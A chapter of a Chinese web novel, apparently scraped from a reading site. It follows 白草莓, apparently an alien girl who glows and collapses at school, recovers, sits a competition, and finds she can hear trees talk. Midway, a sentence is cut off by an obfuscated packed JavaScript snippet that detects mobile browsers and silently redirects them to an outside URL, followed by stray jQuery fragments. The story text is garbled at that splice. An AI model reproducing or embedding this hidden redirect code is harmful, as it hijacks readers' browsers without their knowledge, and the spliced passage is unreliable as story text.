人潮散去后的教学楼就像是被按下静音键的播放器,安静得只有楼道里的皮特托先生背着电流逃走的声音。


    白澜亦一手握着手机,未被接通的电话持续响着,铃声隐隐约约从楼上传来。


    他把着扶手三步迈上半层楼,好不容易来到白草莓的楼层,气喘吁吁从拐角出来,就看见教室门口倒了个人。


    白澜亦心里一跳,顾不上喘气,膝盖重重磕在地上,把人捞起来,言不由衷地抱怨:“白草莓,你知不知道自己很不让人省心……”


    但定睛一看,他拉起来的女生是长头发,这不是白草莓。这个时间点教学楼里除了白草莓还有其他人?


    白澜亦拍了拍她,没把人叫醒,只好先把她放在一边,顺着手机铃声找进教室里。


    手机屏光照亮一寸角落,白草莓席地而坐,双手搭在椅面上,静静趴着似乎睡着了,这一幕好似旧日重现。屏光熄灭后,白草莓周身有一层白光萦绕,像是月光照进来,更像是她自己发出来的。


    白澜亦放轻了呼吸,怕把白草莓吹散,捏住她衣角拽了拽,试探地叫了声:“草莓……”


    白草莓有了回应,缓缓直起身子,有气无力地靠进白澜亦怀里,嘴唇张了张,好像要交代些什么。


    她费力地抬起一根指头:“蓝莓,你是……”


    白澜亦听不清也不想听她什么,把她的手按回去,脱下外套裹在白草莓身上,拽住两个小臂背起她安慰:“别担心,你不会有事的。”


    白草莓失神喃喃,嘴巴靠进白澜亦的耳朵,继续交代:“草莓,我是一颗草莓。”


    这一句,白澜亦听得一清二楚,那由此可推,上面那句蓝莓后面也是一样的废话。


    白澜亦松了口气,还以为白草莓真到了性命攸关的时候,但同时白草莓的不清醒也让他头疼极了,闭眼冷静两秒钟。


    随后,他从白草莓的书包里翻出一瓶针对药,插好吸管往后递到她嘴边:“拿好,喝下去,我带你回家。”


    背着白草莓离开教室的时候,白澜亦被门口的“拦路虎”吓了一跳才想起来刚才认错的人,好心替她打了个120,没更多功夫就在这里等结果了。


    幸好刘叔就在校门外面等着。


    “对,是有一阵风刮过,很快,其余没什么特别的感觉。好,我知道了。嗯,有人过来了,先这样。”


    刘管家挂断电话,等白澜亦走到近处才认出来是他,背后是被校服裹住的一坨,哪怕头发把脸颊全部遮住也能认出来是白草莓。


    “小姐这是怎么了啊?”刘叔连忙下车,帮白澜亦拉开车门,安置白草莓。


    一只泛着白光的手垂下来,几乎是瞬间又被白澜亦拿校服罩了起来:“没事,她突然有点发烧,先送我们回家再说。”


    “刘叔?”


    刘管家恍然回神,往自己脸侧拍了两下醒神,坐回驾驶位,一边系安全带,一边问:“好,需要我联系家庭医生吗?”


    “不需要。”


    白澜亦伸手扳过白草莓的头靠在自己肩上,另一只手升起前排和后座之间的隔音板,确认周围没人看得见才稍稍放心。


    “白草莓,你这次是怎么回事?”


    她上次出现这种情况是为了应对突发的侵害,把身体里的能量都用光了,可这次是在学校里,整栋楼里只有学生,没有危机,总不会是想不开把能量散着玩?


    白草莓闭着眼睛,尽管喝了针对药,但并没有好转,她还是难受,甚至比以前更难受了:“我不知道,胸口好闷,我要化掉了……”


    不知道是预感成真还是一语成谶,白澜亦只觉得肩头的重量越来越轻,白草莓身上的白光越来越亮,几乎要变成移动电灯泡。


    白澜亦重新把她遮好,衣服里透光的地方也拿手盖住,为了维护白草莓的秘密简直无所不用其极。


    每一秒钟的变化都被白澜亦刻在心里,如果这是他的研究课题就好了,这么多新奇数据一定能震惊学界。


    下车的时候刘管家要帮忙,白澜亦连忙拒绝,让刘管家去取药箱,他趁机抱着白草莓回了房间。


    校服摘下来那一刻,光芒甚至模糊了白草莓的长相,白澜亦一边震惊一边庆幸自己的决定,连忙在浴缸里放了一池水把白草莓丢进去。


    身体被水流包裹,温度不再上升,亮度却增高,刺眼的光让人不敢直视。


    白澜亦不得不离开浴室,坐在沙发上等这波刺眼的光退散。


    两个小时了,白澜亦抬起手看了眼时间,在房间里踱步绕了两圈,来到浴室外敲了敲门:“白草莓,你还有意识吗?”


    门里没有回应。


    白草莓好像做了一个无比畅快的梦,梦里它长得超过了身边的老树,触手探出去能摸到太阳,可以放肆地吸收太阳光,不用依照颜色排序,夹在其他植物的缝隙里垫着脚生长。


    “太阳太阳啦啦啦,我爱晒太阳。”


    徜徉在丰沛氧气里的白草莓似乎听见了自己的手机铃声。


    “太阳太阳啦啦啦,我最爱晒太阳啦——”


    没错!这就是她的手机铃声,还是她为了某件事专门定的。


    白草莓突然一下子从床上坐起来。


    白澜亦本来想帮她关掉闹钟,被她的“诈尸”举动吓得差点心脏骤停。要是早知道起床铃声能把她唤醒,昨晚上就该试试。


    白草莓一把掀开被子,看向白澜亦第一件事就是问:“今天周几?”


    白澜亦十分不解:“你昨天都成那样子了,不会还想着上学吧?我帮你请过假了。”


    昨晚上白草莓跟吃了毒菌子一样,想象自己徜徉在氧气海,把自己整个人浸在浴缸里,咕噜咕噜冒泡。


    幸好她是外星人,泡了半个小时没把自己淹死,但差点把白澜亦给吓死,在她被泡浮囊前,赶紧把人从水里捞起来。


    他跟白草莓说话,她有反应就是不回应,听话把衣服换了牙刷了安静躺下睡了,偏偏全程闭着眼睛低垂脑袋一声不吭。


    白澜亦坐在外面,怀疑自己也有隐藏身份,是能驱鬼的茅山道士。


    “昨天?那今天周三,还好没睡过头。”白草莓抓过手机光脚下了床,从柜子里找出套新的校服,转过身一边解扣子,一边催白澜亦出去。


    白澜亦依言转身,离开时顺手带上了房门,歪了下脑袋,看来白草莓有进步,把他的话听进去了。


    他下楼刚烤了两片面包,微波炉甚至还在工作,牛奶都没热好,白草莓就急匆匆从厨房外边飞过去。


    “白草莓!早饭!”


    “九点半了哥!我答应陈序拿到名额,错过竞赛我可就食言啦!”


    白草莓的人影似乎瞬间就不见了,白澜亦追出来的时候只剩下沿途被卷起来的树叶。


    怎么感觉,醒过来的白草莓有点不一样了?


    来不及叫刘管家出动,白草莓到路边随手拦了辆的士去学校。


    幸而错过早高峰,到学校的时候竞赛已经开始接近半小时,白草莓被拦在考场外面安检。


    考场内大多数人已经做完三分之一的题目,白草莓的进度远远落后,她必须在剩下一小时里做完全部的题目,正确率还得超过所有人拿到第一才行。


    不过看白草莓迟到,考场内不少人都松了口气,虽然她月考一鸣惊人,但上次月考之前看她慌得不得了,这次时间紧任务重,她未必能像月考一样厉害。


    现在陈序、杨筝好几个强力对手都没有出现,白草莓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050460|161920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再发挥失误的话,剩下的人机会就会更大。


    白草莓翻开考题册,看见密密麻麻的题目,缓缓舒了口气。


    一个小时后,白草莓出了考场,站在路边,经过高度紧张的考试,闭上眼沐浴着阳光休息是件很幸福的事情,风里夹杂着各种复杂的气息,她似乎还能听见百米之外树的叹气。


    “可恶可恶,有只猫每天都在我身上撒尿,我要臭死了!”


    “诶,你们谁方便死一死提醒那些人类,我身上长虫了。”


    “今天这太阳不够足啊,嘶,秋天来了叶子掉光了,我都要饿死了。”


    白草莓揉了揉耳朵,还以为自己听错了,随便挑了一棵树,走近了问:“是你身上长虫了吗?”


    某树:“……”


    白草莓:“……”


    某树大惊:“那谁,不用死一死了,我好像已经被虫啃坏了。”


    众树大惊:“不对不对不对,这人能听见我们聊天啊!”


    白草莓目点头:“没错。”


    “……那你转个圈给我们看看。”


    白草莓照实转圈,众树齐呼“天呐,是真的!”,惊讶过后,这些树又开始纷纷提要求。


    “人,能不能跟猫说不要在我身上撒尿?”


    “人,能不能帮我捉虫?”


    “人,我需要吃一口三百块的肥料。”


    “人……”


    白草莓被七嘴八舌吵得头都大了,摆摆手示意所有树木安静下来,她从兜里掏出笔,坐在路边把所有树的要求一个一个记下来。


    “等我的好消息,你们的要求我会一一传达的。”


    “嗯嗯嗯,没问题的。”


    许缨下了课,坐在白草莓的位置上,撑着脑袋往外看,班里少了一小半的人去参加竞赛,不过别人都回来了,白草莓怎么还没动静?


    这时有结束竞赛回班的学生从窗边路过:“你们看见没有,她对着树说话呢?是不是老毛病又犯了?”


    “谁知道呢?也有可能是天才觉醒的后遗症。”


    莫名的,听见“老毛病”许缨就会怀疑他们是不是在讨论白草莓。


    许缨起身来到栏杆边上,探头一看,发现白草莓就在不远处的树林里,一个人对着树比划,嘴唇一张一合,神神叨叨的。


    她刚想下去问问情况,又看见白澜亦往树林里走,拉着她的胳膊把人带走了。


    许缨心里有些奇怪,又有些庆幸。


    当初白草莓刚转学到这里的时候,许缨老爸专门交代她要跟白草莓搞好关系,多照顾她。


    “她爸妈是我的老相识,现在进了一个新的项目组,忙得不可开交,来拜托我叫你多多照顾这个小姑娘,你可要用心啊,不准马虎,出什么事了都要跟我讲,我去摆平。”


    哎,这还需要交代吗?白草莓那么可爱,有谁会不喜欢她?也就是白澜亦不识好歹,这么久了才晓得自己要对白草莓多点照顾。


    “嗡嗡——”手机震了震。


    许缨掏出手机,是她老爸,接听电话:“找我什么事?”


    “草莓?你问她干什么?昨天晚上能有什么事?正常上课正常放学,还给一个同学过了生日。”


    听见对面老是关心白草莓,许缨有点火气:“喂,你是我爸不是她爸,你不关心我身体健不健康,关心别人干什么?她身边有她哥白澜亦呢,你操什么心?”


    许缨嗤笑:“你看你,越说越夸张了,白草莓的监护人是白叔叔叶阿姨,他俩是研究员,人家动你饭碗干嘛,你老糊涂了?”


    许缨倚着栏杆轻啧,神情却在对面的回话后突然变得无比凝重:“什么?”


    “你把刚刚的话再说一遍。她不是人还能是什么?”